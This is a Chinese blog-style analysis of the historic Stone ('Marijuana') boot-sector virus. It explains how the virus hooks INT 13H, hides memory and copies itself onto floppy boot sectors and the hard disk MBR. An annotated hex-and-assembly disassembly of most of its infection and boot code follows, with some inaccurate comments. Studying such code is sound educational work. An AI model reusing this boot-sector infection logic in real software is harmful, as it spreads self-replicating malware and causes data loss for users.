1.病毒概要
大麻病毒,又名新西兰病毒(Stone、Marijuana),是一种计算机发展早期的引导区病毒,其传染力极强。它通过软盘侵染硬盘,且会将系统盘以外的普通硬盘一概感染。大麻病毒占用的内存极小,总共不到400个字节,其虽然极具侵染力,但本身没有刻意的破坏代码,但却往往会引起文件、数据丢失。大麻病毒是针对MBR的引导病毒,所幸目前很多电脑已经采用UEFI引导模式并淘汰掉了软盘启动模式,大麻病毒不再具有当年的破坏力。

2.病毒原理
2.1 感染方式
大麻病毒的核心是在系统原引导程序之前插入一段大麻病毒自己的引导模块,并在这一模块上进行大麻病毒的全部操作。也就是说大麻病毒最初的感染必定是在电脑重新开机时进行的,而病毒的传染模块会在电脑运行过程中每次调用INT 13H(13号中断)出现。

大麻病毒分为了上图所示的三个模块:引导模块、传染模块、表现模块,其中起到主要作用的是引导模块和传染模块,在本文中我将重点进行分析。值得一提的是,大麻病毒的传染模块仅用于感染A盘(软盘),而对电脑硬盘的感染是在引导模块里进行的。也就是说,电脑每次重新启动时(执行引导模块),会感染一次硬盘;而系统运行过程中调用INT 13H时(执行传染模块、表现模块),只会对软盘进行感染。
上述感染模式也不难理解。大麻病毒主要通过软盘进行传染,每次插入软盘时都会执行一次INT 13H,这时直接执行感染模块将软盘感染即可。而硬盘不能热拔插,其装载必须关机插入主板上的I/O接口,因此只需要在引导模块里进行对硬盘的感染、每次开机时执行一遍就行了。这种感染模式大大加强了大麻病毒的传染能力。
2.2引导模块
大麻病毒的引导模块是其最为核心的部分,是通过感染大麻病毒时重写在分区引导块里的,每次开机时会在原引导模块之前被执行。在此我画出了思维导图进行流程梳理:


可以发现,大麻病毒的引导模块分了两个种类——软盘引导和硬盘引导。众所周知,大麻病毒是通过软盘传染的,因此一台电脑首次被感染时进行的是软盘引导,在引导过程中将所有硬盘分区引导块放到了0柱0头第七扇区,而原引导块的位置注入了与引导数据组装好的硬盘大麻病毒。之后的使用过程中,系统硬盘已经感染了大麻病毒,病毒便直接通过硬盘进行引导,目的是改写INT 13H,以及感染所有没有被感染上大麻病毒的硬盘。

2.3 传染模块
传染模块在每一次调用INT 13H(13号中断)时执行,是通过感染时重写INT 13H实现的。传染模块的作用是感染插入的软盘,在执行完毕后会执行正常的INT 13H。相对而言传染模块的内容较为简单,主要内容是对是否插入未受感染的软盘的检测以及对其进行感染。其大致流程如下:

2.4表现模块
大麻病毒的表现模块就是所有程序员都喜闻乐见的部分。在表现模块中,我们可以放飞自我,如早期大麻病毒输出的“Your PC is now stoned”或“LEGALISE MARIJUANA!”。我们可以在这一部分里做一些更有创意的事情,比如用蜂鸣器弹一首千本樱。

2.5 病毒危害
大麻病毒作为最早期的计算机病毒,其本身并不携带恶意代码,其导致的危害主要为以下几点:
1) 减少了2KB的内存空间
在开机引导时,大麻病毒隐藏了2KB内存,并将它自己驻留进去。
2) 降低了引导速度与INT 13H执行速度
在原引导和原INT 13H执行之前,大麻病毒会执行自己的引导模块和感染模块,从而降低了执行速度。
3) 可能发生文件丢失
大麻病毒在进行感染时,会重写引导程序,并将原引导程序放在了软盘/硬盘上的其他扇区,将自己的引导放在了原引导位置,从而导致原引导程序覆盖的新扇区上的原文件丢失。

3.病毒代码分析
以下为大麻病毒的部分代码,我将对其进行分段大致分析。
一.首先是大麻病毒的传染模块部分:
1.检测是否为读写操作(读为02,写为03)和软盘操作。检查读写通过比较AH的值是否大于等于02且小于04来判断,检查软盘操作通过判断DL的值是否为0。如果并非读写软盘操作,则跳过大麻病毒的传染模块:
0017: 80 FC 02 CMP AH,$02
001A: 72 17 JB $0033
001C: 80 FC 04 CMP AH,$04
001F: 73 12 JNB $0033
0021: 0A D2 OR DL,DL
0023: 75 0E JNZ $0033
2.判断软盘上是否开启。检查043F的值是否是01,如果不是,则执行003A的INFECT程序,否则跳过感染模块:
0029: A0 3F 04 MOV AL,DS:$043F
002C: A8 01 TEST AL,$01
002E: 75 03 JNZ $0033
0030: E8 07 00 CALL $003A
3.执行原INT 13H。上面的三次检查均跳到了0033处,而0033~0035就是清空栈内存并执行原INT 13H的过程:
0033: 58 POP AX
0034: 1F POP DS
0035: 2E FF 2E 09 00 JMP FAR CS:$0009
4.首先将寄存器的参数压入栈中以在感染结束后取出。用原INT 13H来读取软盘零面零道第一扇区4次,读取成功跳至检测是否已经感染的代码,失败则跳出传染模块:
003A: 53 PUSH BX
003B: 51 PUSH CX
003C: 52 PUSH DX
003D: 06 PUSH ES
003E: 56 PUSH SI
003F: 57 PUSH DI
0040: BE 04 00 MOV SI,$0004 ;读取四次
0043: B8 01 02 MOV AX,$0201 ;读一个扇区
0046: 0E PUSH CS
0047: 07 POP ES
0048: BB 00 02 MOV BX,$0200 ;缓存区首地址[9F80:0200]
004B: 33 C9 XOR CX,CX
004D: 89 CA MOV DX,CX ;软盘(A)零面
004F: 41 INC CX ;零道第一扇区
0050: 9C PUSHF
0051: 2E FF 1E 09 00 CALL FAR CS:$0009 ;调用原INT 13H来读取软盘
0056: 73 0E JNB $0066 ;读取成功跳到检测代码块0066
0058: 33 C0 XOR AX,AX
005A: 9C PUSHF
005B: 2E FF 1E 09 00 CALL FAR CS:$0009 ;软盘复位
0060: 4E DEC SI ;次数减一
0061: 75 E0 JNZ $0043 ;没有读取到四次跳转到开头
0063: EB 35 JMP $009A ;全读取失败则跳出感染模块
0065: 90 NOP
5.检测软盘是否被感染。比对[9F80:0000]和[9F80:0200]、[9F80:0002]和[9F80:0202]的值,来确认软盘是否被感染。如果未被感染则继续进行感染操作,否则跳出传染模块:
0066: 33 F6 XOR SI,SI
0068: BF 00 02 MOV DI,$0200
006B: FC CLD
006C: 0E PUSH CS
006D: 1F POP DS
006E: AD LODSW ;AX为[9F80:0000]
006F: 3B 05 CMP AX,DI ;比对[9F80:0000]和[9F80:0200]
0071: 75 06 JNZ $0079
0073: AD LODSW ;AX为[9F80:0002]
0074: 3B 45 02 CMP AX,DI+$02 ;比对[9F80:0002]和[9F80:0202]
0077: 74 21 JZ $009A
6.将原引导写入软盘零面零道第三扇区:
0079: B8 01 03 MOV AX,$0301 ;写一个扇区
007C: BB 00 02 MOV BX,$0200 ;用软盘的原引导写
007F: B1 03 MOV CL,$03 ;零道第三扇区
0081: B6 01 MOV DH,$01 ;软盘的零面
0083: 9C PUSHF
0084: 2E FF 1E 09 00 CALL CS:$0009 ;调用原INT 13H来读取软盘
7.将大麻病毒写入软盘零面零道第一扇区(原引导位置):
0089: 72 0F JB $009A ;如果出错则跳出感染模块
008B: B8 01 03 MOV AX,$0301 ;写一个扇区
008E: 33 DB XOR BX,BX
0090: B1 01 MOV CL,$01 ;零道第一扇区(BH和DL不需要修改)
0092: 33 D2 XOR DX,DX
0094: 9C PUSHF
0095: 2E FF 1E 09 00 CALL FAR CS:$0009;调用原INT 13H来读取软盘
8.将栈内保存的数据取回寄存器,并执行原INT 13H:
009A: 5F POP DI
009B: 5E POP SI
009C: 07 POP ES
009D: 5A POP DX
009E: 59 POP CX
009F: 5B POP BX
00A0: C3 RET

二.以下为引导模块部分:
1.初始化寄存器(与原引导一样):
00A1: 33 C0 XOR AX,AX
00A3: 8E D8 MOV DS,AX
00A5: FA CLI
00A6: 8E D0 MOV SS,AX
00A8: BC 00 7C MOV SP,$7C00
00AB: FB STI
2.保存原INT 13H。将原INT 13H从004C开始的内存区域移动到7C09开始的内存区域:
00AC: A1 4C 00 MOV AX,DS:$004C
00AF: A3 09 7C MOV DS:$7C09,AX
00B2: A1 4E 00 MOV AX,DS:$004E
00B5: A3 0B 7C MOV DS:$7C0B,AX
3.隐藏2KB的内存——通过将0413储存的值减二:
00B8: A1 13 04 MOV AX,DS:$0413
00BB: 48 DEC AX
00BC: 48 DEC AX
00BD: A3 13 04 MOV DS:$0413,AX
4.大麻病毒修改新的INT 13H代码:
00C0: B1 06 MOV CL,$06
00C2: D3 E0 SHL AX,CL
00C4: 8E C0 MOV ES,AX
00C6: A3 0F 7C MOV DS:$7C0F,AX
00C9: B8 15 00 MOV AX,$0015
00CC: A3 4C 00 MOV DS:$004C,AX
00CF: 8C 06 4E 00 MOV DS:$004E,ES
00D3: B9 B8 01 MOV CX,$01B8 ;大麻病毒的长度
5. 让INT 13H指向大麻病毒传染模块:
00D6: 0E PUSH CS
00D7: 1F POP DS
00D8: 33 F6 XOR SI,SI
00DA: 8B FE MOV DI,SI
6. 将大麻病毒放入内存最顶上(即隐藏的2KB内存位置):
00DC: FC CLD
00DD: F3 A4 REPZ MOVSB
00DF: 2E FF 2E 0D 00 JMP FAR CS:$000D
7.重设盘系统,准备读写操作,并读软盘零道一面第三扇区:
00E4: B8 00 00 MOV AX,$0000
00E7: CD 13 INT $13
00E9: 33 C0 XOR AX,AX
00EB: 8E C0 MOV ES,AX
00ED: B8 01 02 MOV AX,$0201 ; 读一个扇区
00F0: BB 00 7C MOV BX,$7C00 ; 读到7C00处
8. 判断是否硬盘启动,如果不是,则继续引导并跳转到表现模块,否则执行原引导(即判断如果是软盘启动则继续):
00F3: 2E803E0800 00 CMP BYTE PTR CS:$0008,$00
00F9: 74 0B JZ $0106
00FB: B9 07 00 MOV CX,$0007
00FE: BA 80 00 MOV DX,$0080
0101: CD 13 INT $13 ;读取原INT 13H
0103: EB 49 JMP $014E ;执行原引导
0105: 90 NOP
9.表现模块的计时器,随机一个数出来:
0106: B9 03 00 MOV CX,$0003
0109: BA 00 01 MOV DX,$0100
010C: CD 13 INT $13
010E: 72 3E JB $014E
0110: 26F6066C0407 TEST BYTE PTR ES:$046C,$07 ;随机数
0116: 75 12 JNZ $012A
10.表现模块的内容,只有随机数是8的倍数才会执行。此处有一大段对dos界面输出文字及其格式的设置,我暂且不在此一一分析:
0118: BE 89 01 MOV SI,$0189
011B: 0E PUSH CS
011C: 1F POP DS
011D: AC LODSB
011E: 0A C0 OR AL,AL
0120: 74 08 JZ $012A
0122: B4 0E MOV AH,$0E
0124: B7 00 MOV BH,$00
0126: CD 10 INT $10
0128: EB F3 JMP $011D
012A: 0E PUSH CS
012B: 07 POP ES
012C: B8 01 02 MOV AX,$0201
012F: BB 00 02 MOV BX,$0200
0132: B1 01 MOV CL,$01
0134: BA 80 00 MOV DX,$0080
0137: CD 13 INT $13
0139: 72 13 JB $014E
013B: 0E PUSH CS
013C: 1F POP DS
013D: BE 00 02 MOV SI,$0200
0140: BF 00 00 MOV DI,$0000
0143: AD LODSW
0144: 3B 05 CMP AX,DI
0146: 75 11 JNZ $0159
0148: AD LODSW
0149: 3B 45 02 CMP AX,DI+$02
014C: 75 0B JNZ $0159
014E: 2E C6 06 08 00 00 MOV BYTE PTR CS:$0008,$00
0154: 2E FF 2E 11 00 JMP CS:$0011
11.感染硬盘:
1)给0008赋值02H(带毒硬盘标记)
2)将0200开始存的分区引导块存入硬盘0柱0头第七扇区
0159: 2E C6 06 08 00 02 MOV BYTE PTR CS:$0008,$02;打上病毒标记
015F: B8 01 03 MOV AX,$0301 ;写一个扇区
0162: BB 00 02 MOV BX,$0200 ;0200存原引导
0165: B9 07 00 MOV CX,$0007 ;0柱第七扇区
0168: BA 80 00 MOV DX,$0080 ;0头,80驱动
016B: CD 13 INT $13 ;原INT 13H
016D: 72 DF JB $014E ;出现错误则跳出
3)将从03BE开始的分区引导数据(242H)写入从01BE开始的区域
016F: 0E PUSH CS
0170: 1F POP DS
0171: 0E PUSH CS
0172: 07 POP ES
0173: BE BE 03 MOV SI,$03BE
0176: BF BE 01 MOV DI,$01BE
0179: B9 42 02 MOV CX,$0242
017C: F3 A4 REPZ MOVSB
017E: B8 01 03 MOV AX,$0301
0181: 33 DB XOR BX,BX
0183: FE C1 INC CL
12.执行原引导程序:
0185: CD 13 INT $13
0187: EB C5 JMP $014E

EX1.这里存放大麻病毒的标志信息:Your PC is now STONED!:
0189: 07 59 6F 75
018D: 72 20 50
0190: 43 20 69
0193: 73 20 6E
0196: 6F
0197: 77 20 53
019A: 54 4F 4E
019D: 45
019E: 44 21 07
01A1: 0D 0A 0A 00
EX2.这里存放大麻病毒的标志信息:LEGALISE MARIJUANA!:
01A5: 4C 45 47 41
01A9: 4C 49 53
01AC: 45 20 4D 41
01B0: 52 49 4A
01B3: 55 41 4E 41 21

对大麻病毒的代码主要部分分析就到此了,通过对汇编代码的分析能更深入的理解大麻病毒的本质与结构

大麻病毒详细介绍与汇编分析相关推荐

  1. puppet成长日记二 Package资源详细介绍及案例分析

    puppet成长日记二 Package资源详细介绍及案例分析 一.系统环境 1.puppet服务端 Release:RHEL6.4 HOSTNAME: puppetserver.rsyslog.org ...

  2. 阿里云智能分析套件Quick BI详细介绍_智能分析套件Quick BI特性及优势

    智能分析套件Quick BI是一个专为云上用户量身打造的新一代智能BI服务平台.Quick BI可以提供海量数据实时在线分析服务,支持拖拽式操作和丰富的可视化效果,帮助您轻松自如地完成数据分析.业务数 ...

  3. php mysql explain_Mysql分析-explain的详细介绍

    为什么要了解explain: 想了解select查询的内部情况,查询优化器是如何工作的,是否使用到了索引,explain可以做到. MySQL查询优化器是如何工作的 : MySQL查询优化器有几个目标 ...

  4. Android底层隐私数据,Android Intent传递数据底层分析详细介绍_Android_脚本之家

    Android  Intent传递数据底层分析详细介绍 我们知道在Activity切换时,如果需要向下一个ActivityB传递数据,可以借助Intent对象的putExtra方法. 但是不知各位有没 ...

  5. android中intent放数据类型,Android Intent传递数据底层分析详细介绍

    Android  Intent传递数据底层分析详细介绍 我们知道在Activity切换时,如果需要向下一个ActivityB传递数据,可以借助Intent对象的putExtra方法. 但是不知各位有没 ...

  6. 盘式过滤器详细介绍分析

    盘式过滤器详细介绍分析: 一.盘式过滤器工作原理介绍: 盘式过滤器又称为叠片过滤器或叠片式过滤器,他是由过滤单元并列组合而成,其过滤单元主要是由一组带沟槽或棱的环状增强塑料滤盘构成,上下两层盘片中间沟 ...

  7. linux网络存储服务器选题意义,linux网络存储服务器iscsi详细介绍分析.doc

    linux网络存储服务器iscsi详细介绍分析 一,概述 SCSI最初是一种专门为小型计算机系统设计的I/O技术,但由于其架构和协议自身的优点,后被广泛应用于实现DAS以及SAN的底层技术. SCSI ...

  8. 黑客专业术语——入门详细介绍

    前言 黑客专业术语是黑客们及内部交流的专有名词,理解专业术语,对入门黑客是有必要的 1.肉鸡 所谓肉鸡,是一种很形象的比喻,指那些可以被黑客随意控制的电脑,可以随意操纵肉鸡,却又不被对方察觉. 2.木 ...

  9. 新版“机器狗”病毒详细分析资料

    报告名称:新版"机器狗"病毒详细分析资料(全部资料的一少部分) 报告类型:病毒原理逆向反汇编分析播报 编写作者:Coderui 编写日期:2008年01月15日 >>& ...

最新文章

  1. OpenERP与Python 元编程
  2. 机器学习算法与Python实践之(二)支持向量机
  3. 恩平服务器维修,四月 2021 | EDUP
  4. 直播 | ACL 2021论文解读:为结构预测问题自动寻找更强的词嵌入拼接方式
  5. srve0255e尚未定义要怎么办_皮肤干燥怎么办?四大方法帮你冬季补?
  6. 网件使用计算机mac地址吗,找回网件R7000消失的无线MAC过滤功能
  7. 用Mindjet MindManager 15 打开文件后停止响应的解决方法
  8. springboot幂等性_Spring Boot + Redis + 注解 + 拦截器来实现接口幂等性校验
  9. Nginx 高级配置
  10. 从零基础入门Tensorflow2.0 ----九、44.1 keras 保存模型、参数
  11. 如何优雅的在word打公式
  12. 百度AI语音SDK集成
  13. 全志T3开发板——嵌入式入门学习测试教程(7)
  14. FPGA 任意分频器设计
  15. redux及react-redux
  16. 近期频现NFT新型钓鱼诈骗,用户收到不明OpenSea”高价“空投
  17. java 中的 while和 do...while语句的区别
  18. ROS1学习笔记--xacro
  19. 转换cdm为mysql_详解PowerDesigner之CDM、PDM、SQL之间转换
  20. java json去掉中括号,去掉json中的中括号

热门文章

  1. 使用JSONObject生成和解析json
  2. 微课与个性化学习路径之浅谈
  3. C++贪心算法:蒜头君的钱包
  4. B01.有意思的小东西 - pdf转word【python实用工具】
  5. 学界|北京大学王立威教授:机器学习理论的回顾与展望
  6. 一篇文章给你详细介绍交换机堆叠
  7. 电脑出现“损坏的图像”窗口提示dll没有被指定在Windows上运行如何解决
  8. 【2019/ICML】DAG-GNN: DAG Structure Learning with Graph Neural Networks
  9. Salesforce常见的限制Limitations总结
  10. 《开源使用技术文摘》2009春节特刊火爆下载!